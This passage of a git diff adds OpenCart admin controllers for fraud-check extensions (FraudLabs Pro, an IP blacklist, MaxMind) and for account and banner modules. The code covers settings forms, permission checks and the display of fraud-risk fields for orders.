+ $data['flp_ip_distance'] = $fraud_info['distance_in_mile'] . " miles";
+ } else {
+ $data['flp_ip_distance'] = '';
+ }
+
+ if ($fraud_info['ip_latitude']) {
+ $data['flp_ip_latitude'] = $fraud_info['ip_latitude'];
+ } else {
+ $data['flp_ip_latitude'] = '';
+ }
+
+ if ($fraud_info['ip_longitude']) {
+ $data['flp_ip_longitude'] = $fraud_info['ip_longitude'];
+ } else {
+ $data['flp_ip_longitude'] = '';
+ }
+
+ if ($fraud_info['is_high_risk_country']) {
+ $data['flp_risk_country'] = $fraud_info['is_high_risk_country'];
+ } else {
+ $data['flp_risk_country'] = '';
+ }
+
+ if ($fraud_info['is_free_email']) {
+ $data['flp_free_email'] = $fraud_info['is_free_email'];
+ } else {
+ $data['flp_free_email'] = '';
+ }
+
+ if ($fraud_info['is_address_ship_forward']) {
+ $data['flp_ship_forward'] = $fraud_info['is_address_ship_forward'];
+ } else {
+ $data['flp_ship_forward'] = '';
+ }
+
+ if ($fraud_info['is_proxy_ip_address']) {
+ $data['flp_using_proxy'] = $fraud_info['is_proxy_ip_address'];
+ } else {
+ $data['flp_using_proxy'] = '';
+ }
+
+ if ($fraud_info['is_bin_found']) {
+ $data['flp_bin_found'] = $fraud_info['is_bin_found'];
+ } else {
+ $data['flp_bin_found'] = '';
+ }
+
+ if ($fraud_info['is_email_blacklist']) {
+ $data['flp_email_blacklist'] = $fraud_info['is_email_blacklist'];
+ } else {
+ $data['flp_email_blacklist'] = '';
+ }
+
+ if ($fraud_info['is_credit_card_blacklist']) {
+ $data['flp_credit_card_blacklist'] = $fraud_info['is_credit_card_blacklist'];
+ } else {
+ $data['flp_credit_card_blacklist'] = '';
+ }
+
+ if ($fraud_info['fraudlabspro_score']) {
+ $data['flp_score'] = $fraud_info['fraudlabspro_score'];
+ } else {
+ $data['flp_score'] = '';
+ }
+
+ if ($fraud_info['fraudlabspro_status']) {
+ $data['flp_status'] = $fraud_info['fraudlabspro_status'];
+ } else {
+ $data['flp_status'] = '';
+ }
+
+ if ($fraud_info['fraudlabspro_message']) {
+ $data['flp_message'] = $fraud_info['fraudlabspro_message'];
+ } else {
+ $data['flp_message'] = '';
+ }
+
+ if ($fraud_info['fraudlabspro_id']) {
+ $data['flp_id'] = $fraud_info['fraudlabspro_id'];
+ $data['flp_link'] = $fraud_info['fraudlabspro_id'];
+ } else {
+ $data['flp_id'] = '';
+ $data['flp_link'] = '';
+ }
+
+ if ($fraud_info['fraudlabspro_credits']) {
+ $data['flp_credits'] = $fraud_info['fraudlabspro_credits'];
+ } else {
+ $data['flp_credits'] = '';
+ }
+
+ return $this->load->view('extension/fraud/fraudlabspro_info', $data);
+ }
+ }
+
+ private function fix_case($s) {
+ $s = ucwords(strtolower($s));
+ $s = preg_replace_callback("/( [ a-zA-Z]{1}')([a-zA-Z0-9]{1})/s", create_function('$matches', 'return $matches[1].strtoupper($matches[2]);'), $s);
+ return $s;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/fraud/ip.php b/public/admin/controller/extension/fraud/ip.php
new file mode 100644
index 0000000..11b3a34
--- /dev/null
+++ b/public/admin/controller/extension/fraud/ip.php
@@ -0,0 +1,171 @@
+load->language('extension/fraud/ip');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('fraud_ip', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true));
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/fraud/ip', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/fraud/ip', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true);
+
+ if (isset($this->request->post['fraud_ip_order_status_id'])) {
+ $data['fraud_ip_order_status_id'] = $this->request->post['fraud_ip_order_status_id'];
+ } else {
+ $data['fraud_ip_order_status_id'] = $this->config->get('fraud_ip_order_status_id');
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ if (isset($this->request->post['fraud_ip_status'])) {
+ $data['fraud_ip_status'] = $this->request->post['fraud_ip_status'];
+ } else {
+ $data['fraud_ip_status'] = $this->config->get('fraud_ip_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/fraud/ip', $data));
+ }
+
+ public function install() {
+ $this->load->model('extension/fraud/ip');
+
+ $this->model_extension_fraud_ip->install();
+ }
+
+ public function uninstall() {
+ $this->load->model('extension/fraud/ip');
+
+ $this->model_extension_fraud_ip->uninstall();
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/fraud/ip')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function ip() {
+ $this->load->language('extension/fraud/ip');
+
+ $this->load->model('extension/fraud/ip');
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['ips'] = array();
+
+ $results = $this->model_extension_fraud_ip->getIps(($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['ips'][] = array(
+ 'ip' => $result['ip'],
+ 'total' => $this->model_customer_customer->getTotalCustomersByIp($result['ip']),
+ 'date_added' => date('d/m/y', strtotime($result['date_added'])),
+ 'filter_ip' => $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&filter_ip=' . $result['ip'], true)
+ );
+ }
+
+ $ip_total = $this->model_extension_fraud_ip->getTotalIps();
+
+ $pagination = new Pagination();
+ $pagination->total = $ip_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('extension/fraud/ip/ip', 'user_token=' . $this->session->data['user_token'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($ip_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($ip_total - 10)) ? $ip_total : ((($page - 1) * 10) + 10), $ip_total, ceil($ip_total / 10));
+
+ $this->response->setOutput($this->load->view('extension/fraud/ip_ip', $data));
+ }
+
+ public function addIp() {
+ $this->load->language('extension/fraud/ip');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'extension/fraud/ip')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('extension/fraud/ip');
+
+ if (!$this->model_extension_fraud_ip->getTotalIpsByIp($this->request->post['ip'])) {
+ $this->model_extension_fraud_ip->addIp($this->request->post['ip']);
+ }
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function removeIp() {
+ $this->load->language('extension/fraud/ip');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'extension/fraud/ip')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('extension/fraud/ip');
+
+ $this->model_extension_fraud_ip->removeIp($this->request->post['ip']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/extension/fraud/maxmind.php b/public/admin/controller/extension/fraud/maxmind.php
new file mode 100644
index 0000000..ffa17dc
--- /dev/null
+++ b/public/admin/controller/extension/fraud/maxmind.php
@@ -0,0 +1,429 @@
+load->language('extension/fraud/maxmind');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('fraud_maxmind', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['key'])) {
+ $data['error_key'] = $this->error['key'];
+ } else {
+ $data['error_key'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/fraud/maxmind', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/fraud/maxmind', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true);
+
+ if (isset($this->request->post['fraud_maxmind_key'])) {
+ $data['fraud_maxmind_key'] = $this->request->post['fraud_maxmind_key'];
+ } else {
+ $data['fraud_maxmind_key'] = $this->config->get('fraud_maxmind_key');
+ }
+
+ if (isset($this->request->post['fraud_maxmind_score'])) {
+ $data['fraud_maxmind_score'] = $this->request->post['fraud_maxmind_score'];
+ } else {
+ $data['fraud_maxmind_score'] = $this->config->get('fraud_maxmind_score');
+ }
+
+ if (isset($this->request->post['fraud_maxmind_order_status_id'])) {
+ $data['fraud_maxmind_order_status_id'] = $this->request->post['fraud_maxmind_order_status_id'];
+ } else {
+ $data['fraud_maxmind_order_status_id'] = $this->config->get('fraud_maxmind_order_status_id');
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ if (isset($this->request->post['fraud_maxmind_status'])) {
+ $data['fraud_maxmind_status'] = $this->request->post['fraud_maxmind_status'];
+ } else {
+ $data['fraud_maxmind_status'] = $this->config->get('fraud_maxmind_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/fraud/maxmind', $data));
+ }
+
+ public function install() {
+ $this->load->model('extension/fraud/maxmind');
+
+ $this->model_extension_fraud_maxmind->install();
+ }
+
+ public function uninstall() {
+ $this->load->model('extension/fraud/maxmind');
+
+ $this->model_extension_fraud_maxmind->uninstall();
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/fraud/maxmind')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['fraud_maxmind_key']) {
+ $this->error['key'] = $this->language->get('error_key');
+ }
+
+ return !$this->error;
+ }
+
+ public function order() {
+ $this->load->language('extension/fraud/maxmind');
+
+ $this->load->model('extension/fraud/maxmind');
+
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $fraud_info = $this->model_extension_fraud_maxmind->getOrder($order_id);
+
+ if ($fraud_info) {
+ $data['text_country_match'] = $this->language->get('text_country_match');
+ $data['text_country_code'] = $this->language->get('text_country_code');
+ $data['text_high_risk_country'] = $this->language->get('text_high_risk_country');
+ $data['text_distance'] = $this->language->get('text_distance');
+ $data['text_ip_region'] = $this->language->get('text_ip_region');
+ $data['text_ip_city'] = $this->language->get('text_ip_city');
+ $data['text_ip_latitude'] = $this->language->get('text_ip_latitude');
+ $data['text_ip_longitude'] = $this->language->get('text_ip_longitude');
+ $data['text_ip_isp'] = $this->language->get('text_ip_isp');
+ $data['text_ip_org'] = $this->language->get('text_ip_org');
+ $data['text_ip_asnum'] = $this->language->get('text_ip_asnum');
+ $data['text_ip_user_type'] = $this->language->get('text_ip_user_type');
+ $data['text_ip_country_confidence'] = $this->language->get('text_ip_country_confidence');
+ $data['text_ip_region_confidence'] = $this->language->get('text_ip_region_confidence');
+ $data['text_ip_city_confidence'] = $this->language->get('text_ip_city_confidence');
+ $data['text_ip_postal_confidence'] = $this->language->get('text_ip_postal_confidence');
+ $data['text_ip_postal_code'] = $this->language->get('text_ip_postal_code');
+ $data['text_ip_accuracy_radius'] = $this->language->get('text_ip_accuracy_radius');
+ $data['text_ip_net_speed_cell'] = $this->language->get('text_ip_net_speed_cell');
+ $data['text_ip_metro_code'] = $this->language->get('text_ip_metro_code');
+ $data['text_ip_area_code'] = $this->language->get('text_ip_area_code');
+ $data['text_ip_time_zone'] = $this->language->get('text_ip_time_zone');
+ $data['text_ip_region_name'] = $this->language->get('text_ip_region_name');
+ $data['text_ip_domain'] = $this->language->get('text_ip_domain');
+ $data['text_ip_country_name'] = $this->language->get('text_ip_country_name');
+ $data['text_ip_continent_code'] = $this->language->get('text_ip_continent_code');
+ $data['text_ip_corporate_proxy'] = $this->language->get('text_ip_corporate_proxy');
+ $data['text_anonymous_proxy'] = $this->language->get('text_anonymous_proxy');
+ $data['text_proxy_score'] = $this->language->get('text_proxy_score');
+ $data['text_is_trans_proxy'] = $this->language->get('text_is_trans_proxy');
+ $data['text_free_mail'] = $this->language->get('text_free_mail');
+ $data['text_carder_email'] = $this->language->get('text_carder_email');
+ $data['text_high_risk_username'] = $this->language->get('text_high_risk_username');
+ $data['text_high_risk_password'] = $this->language->get('text_high_risk_password');
+ $data['text_bin_match'] = $this->language->get('text_bin_match');
+ $data['text_bin_country'] = $this->language->get('text_bin_country');
+ $data['text_bin_name_match'] = $this->language->get('text_bin_name_match');
+ $data['text_bin_name'] = $this->language->get('text_bin_name');
+ $data['text_bin_phone_match'] = $this->language->get('text_bin_phone_match');
+ $data['text_bin_phone'] = $this->language->get('text_bin_phone');
+ $data['text_customer_phone_in_billing_location'] = $this->language->get('text_customer_phone_in_billing_location');
+ $data['text_ship_forward'] = $this->language->get('text_ship_forward');
+ $data['text_city_postal_match'] = $this->language->get('text_city_postal_match');
+ $data['text_ship_city_postal_match'] = $this->language->get('text_ship_city_postal_match');
+ $data['text_score'] = $this->language->get('text_score');
+ $data['text_explanation'] = $this->language->get('text_explanation');
+ $data['text_risk_score'] = $this->language->get('text_risk_score');
+ $data['text_queries_remaining'] = $this->language->get('text_queries_remaining');
+ $data['text_maxmind_id'] = $this->language->get('text_maxmind_id');
+ $data['text_error'] = $this->language->get('text_error');
+
+ $data['help_country_match'] = $this->language->get('help_country_match');
+ $data['help_country_code'] = $this->language->get('help_country_code');
+ $data['help_high_risk_country'] = $this->language->get('help_high_risk_country');
+ $data['help_distance'] = $this->language->get('help_distance');
+ $data['help_ip_region'] = $this->language->get('help_ip_region');
+ $data['help_ip_city'] = $this->language->get('help_ip_city');
+ $data['help_ip_latitude'] = $this->language->get('help_ip_latitude');
+ $data['help_ip_longitude'] = $this->language->get('help_ip_longitude');
+ $data['help_ip_isp'] = $this->language->get('help_ip_isp');
+ $data['help_ip_org'] = $this->language->get('help_ip_org');
+ $data['help_ip_asnum'] = $this->language->get('help_ip_asnum');
+ $data['help_ip_user_type'] = $this->language->get('help_ip_user_type');
+ $data['help_ip_country_confidence'] = $this->language->get('help_ip_country_confidence');
+ $data['help_ip_region_confidence'] = $this->language->get('help_ip_region_confidence');
+ $data['help_ip_city_confidence'] = $this->language->get('help_ip_city_confidence');
+ $data['help_ip_postal_confidence'] = $this->language->get('help_ip_postal_confidence');
+ $data['help_ip_postal_code'] = $this->language->get('help_ip_postal_code');
+ $data['help_ip_accuracy_radius'] = $this->language->get('help_ip_accuracy_radius');
+ $data['help_ip_net_speed_cell'] = $this->language->get('help_ip_net_speed_cell');
+ $data['help_ip_metro_code'] = $this->language->get('help_ip_metro_code');
+ $data['help_ip_area_code'] = $this->language->get('help_ip_area_code');
+ $data['help_ip_time_zone'] = $this->language->get('help_ip_time_zone');
+ $data['help_ip_region_name'] = $this->language->get('help_ip_region_name');
+ $data['help_ip_domain'] = $this->language->get('help_ip_domain');
+ $data['help_ip_country_name'] = $this->language->get('help_ip_country_name');
+ $data['help_ip_continent_code'] = $this->language->get('help_ip_continent_code');
+ $data['help_ip_corporate_proxy'] = $this->language->get('help_ip_corporate_proxy');
+ $data['help_anonymous_proxy'] = $this->language->get('help_anonymous_proxy');
+ $data['help_proxy_score'] = $this->language->get('help_proxy_score');
+ $data['help_is_trans_proxy'] = $this->language->get('help_is_trans_proxy');
+ $data['help_free_mail'] = $this->language->get('help_free_mail');
+ $data['help_carder_email'] = $this->language->get('help_carder_email');
+ $data['help_high_risk_username'] = $this->language->get('help_high_risk_username');
+ $data['help_high_risk_password'] = $this->language->get('help_high_risk_password');
+ $data['help_bin_match'] = $this->language->get('help_bin_match');
+ $data['help_bin_country'] = $this->language->get('help_bin_country');
+ $data['help_bin_name_match'] = $this->language->get('help_bin_name_match');
+ $data['help_bin_name'] = $this->language->get('help_bin_name');
+ $data['help_bin_phone_match'] = $this->language->get('help_bin_phone_match');
+ $data['help_bin_phone'] = $this->language->get('help_bin_phone');
+ $data['help_customer_phone_in_billing_location'] = $this->language->get('help_customer_phone_in_billing_location');
+ $data['help_ship_forward'] = $this->language->get('help_ship_forward');
+ $data['help_city_postal_match'] = $this->language->get('help_city_postal_match');
+ $data['help_ship_city_postal_match'] = $this->language->get('help_ship_city_postal_match');
+ $data['help_score'] = $this->language->get('help_score');
+ $data['help_explanation'] = $this->language->get('help_explanation');
+ $data['help_risk_score'] = $this->language->get('help_risk_score');
+ $data['help_queries_remaining'] = $this->language->get('help_queries_remaining');
+ $data['help_maxmind_id'] = $this->language->get('help_maxmind_id');
+ $data['help_error'] = $this->language->get('help_error');
+
+ $data['country_match'] = $fraud_info['country_match'];
+
+ if ($fraud_info['country_code']) {
+ $data['country_code'] = $fraud_info['country_code'];
+ } else {
+ $data['country_code'] = '';
+ }
+
+ $data['high_risk_country'] = $fraud_info['high_risk_country'];
+ $data['distance'] = $fraud_info['distance'];
+
+ if ($fraud_info['ip_region']) {
+ $data['ip_region'] = $fraud_info['ip_region'];
+ } else {
+ $data['ip_region'] = '';
+ }
+
+ if ($fraud_info['ip_city']) {
+ $data['ip_city'] = $fraud_info['ip_city'];
+ } else {
+ $data['ip_city'] = '';
+ }
+
+ $data['ip_latitude'] = $fraud_info['ip_latitude'];
+ $data['ip_longitude'] = $fraud_info['ip_longitude'];
+
+ if ($fraud_info['ip_isp']) {
+ $data['ip_isp'] = $fraud_info['ip_isp'];
+ } else {
+ $data['ip_isp'] = '';
+ }
+
+ if ($fraud_info['ip_org']) {
+ $data['ip_org'] = $fraud_info['ip_org'];
+ } else {
+ $data['ip_org'] = '';
+ }
+
+ $data['ip_asnum'] = $fraud_info['ip_asnum'];
+
+ if ($fraud_info['ip_user_type']) {
+ $data['ip_user_type'] = $fraud_info['ip_user_type'];
+ } else {
+ $data['ip_user_type'] = '';
+ }
+
+ if ($fraud_info['ip_country_confidence']) {
+ $data['ip_country_confidence'] = $fraud_info['ip_country_confidence'];
+ } else {
+ $data['ip_country_confidence'] = '';
+ }
+
+ if ($fraud_info['ip_region_confidence']) {
+ $data['ip_region_confidence'] = $fraud_info['ip_region_confidence'];
+ } else {
+ $data['ip_region_confidence'] = '';
+ }
+
+ if ($fraud_info['ip_city_confidence']) {
+ $data['ip_city_confidence'] = $fraud_info['ip_city_confidence'];
+ } else {
+ $data['ip_city_confidence'] = '';
+ }
+
+ if ($fraud_info['ip_postal_confidence']) {
+ $data['ip_postal_confidence'] = $fraud_info['ip_postal_confidence'];
+ } else {
+ $data['ip_postal_confidence'] = '';
+ }
+
+ if ($fraud_info['ip_postal_code']) {
+ $data['ip_postal_code'] = $fraud_info['ip_postal_code'];
+ } else {
+ $data['ip_postal_code'] = '';
+ }
+
+ $data['ip_accuracy_radius'] = $fraud_info['ip_accuracy_radius'];
+
+ if ($fraud_info['ip_net_speed_cell']) {
+ $data['ip_net_speed_cell'] = $fraud_info['ip_net_speed_cell'];
+ } else {
+ $data['ip_net_speed_cell'] = '';
+ }
+
+ $data['ip_metro_code'] = $fraud_info['ip_metro_code'];
+ $data['ip_area_code'] = $fraud_info['ip_area_code'];
+
+ if ($fraud_info['ip_time_zone']) {
+ $data['ip_time_zone'] = $fraud_info['ip_time_zone'];
+ } else {
+ $data['ip_time_zone'] = '';
+ }
+
+ if ($fraud_info['ip_region_name']) {
+ $data['ip_region_name'] = $fraud_info['ip_region_name'];
+ } else {
+ $data['ip_region_name'] = '';
+ }
+
+ if ($fraud_info['ip_domain']) {
+ $data['ip_domain'] = $fraud_info['ip_domain'];
+ } else {
+ $data['ip_domain'] = '';
+ }
+
+ if ($fraud_info['ip_country_name']) {
+ $data['ip_country_name'] = $fraud_info['ip_country_name'];
+ } else {
+ $data['ip_country_name'] = '';
+ }
+
+ if ($fraud_info['ip_continent_code']) {
+ $data['ip_continent_code'] = $fraud_info['ip_continent_code'];
+ } else {
+ $data['ip_continent_code'] = '';
+ }
+
+ if ($fraud_info['ip_corporate_proxy']) {
+ $data['ip_corporate_proxy'] = $fraud_info['ip_corporate_proxy'];
+ } else {
+ $data['ip_corporate_proxy'] = '';
+ }
+
+ $data['anonymous_proxy'] = $fraud_info['anonymous_proxy'];
+ $data['proxy_score'] = $fraud_info['proxy_score'];
+
+ if ($fraud_info['is_trans_proxy']) {
+ $data['is_trans_proxy'] = $fraud_info['is_trans_proxy'];
+ } else {
+ $data['is_trans_proxy'] = '';
+ }
+
+ $data['free_mail'] = $fraud_info['free_mail'];
+ $data['carder_email'] = $fraud_info['carder_email'];
+
+ if ($fraud_info['high_risk_username']) {
+ $data['high_risk_username'] = $fraud_info['high_risk_username'];
+ } else {
+ $data['high_risk_username'] = '';
+ }
+
+ if ($fraud_info['high_risk_password']) {
+ $data['high_risk_password'] = $fraud_info['high_risk_password'];
+ } else {
+ $data['high_risk_password'] = '';
+ }
+
+ $data['bin_match'] = $fraud_info['bin_match'];
+
+ if ($fraud_info['bin_country']) {
+ $data['bin_country'] = $fraud_info['bin_country'];
+ } else {
+ $data['bin_country'] = '';
+ }
+
+ $data['bin_name_match'] = $fraud_info['bin_name_match'];
+
+ if ($fraud_info['bin_name']) {
+ $data['bin_name'] = $fraud_info['bin_name'];
+ } else {
+ $data['bin_name'] = '';
+ }
+
+ $data['bin_phone_match'] = $fraud_info['bin_phone_match'];
+
+ if ($fraud_info['bin_phone']) {
+ $data['bin_phone'] = $fraud_info['bin_phone'];
+ } else {
+ $data['bin_phone'] = '';
+ }
+
+ if ($fraud_info['customer_phone_in_billing_location']) {
+ $data['customer_phone_in_billing_location'] = $fraud_info['customer_phone_in_billing_location'];
+ } else {
+ $data['customer_phone_in_billing_location'] = '';
+ }
+
+ $data['ship_forward'] = $fraud_info['ship_forward'];
+
+ if ($fraud_info['city_postal_match']) {
+ $data['city_postal_match'] = $fraud_info['city_postal_match'];
+ } else {
+ $data['city_postal_match'] = '';
+ }
+
+ if ($fraud_info['ship_city_postal_match']) {
+ $data['ship_city_postal_match'] = $fraud_info['ship_city_postal_match'];
+ } else {
+ $data['ship_city_postal_match'] = '';
+ }
+
+ $data['score'] = $fraud_info['score'];
+ $data['explanation'] = $fraud_info['explanation'];
+ $data['risk_score'] = $fraud_info['risk_score'];
+ $data['queries_remaining'] = $fraud_info['queries_remaining'];
+ $data['maxmind_id'] = $fraud_info['maxmind_id'];
+ $data['error'] = $fraud_info['error'];
+
+ return $this->load->view('extension/fraud/maxmind_info', $data);
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/account.php b/public/admin/controller/extension/module/account.php
new file mode 100644
index 0000000..c424934
--- /dev/null
+++ b/public/admin/controller/extension/module/account.php
@@ -0,0 +1,67 @@
+load->language('extension/module/account');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('module_account', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/account', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/account', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->post['module_account_status'])) {
+ $data['module_account_status'] = $this->request->post['module_account_status'];
+ } else {
+ $data['module_account_status'] = $this->config->get('module_account_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/account', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/account')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/banner.php b/public/admin/controller/extension/module/banner.php
new file mode 100644
index 0000000..a2e47e9
--- /dev/null
+++ b/public/admin/controller/extension/module/banner.php
@@ -0,0 +1,154 @@
+load->language('extension/module/banner');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('banner', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/banner', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/banner', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/banner', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/banner', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
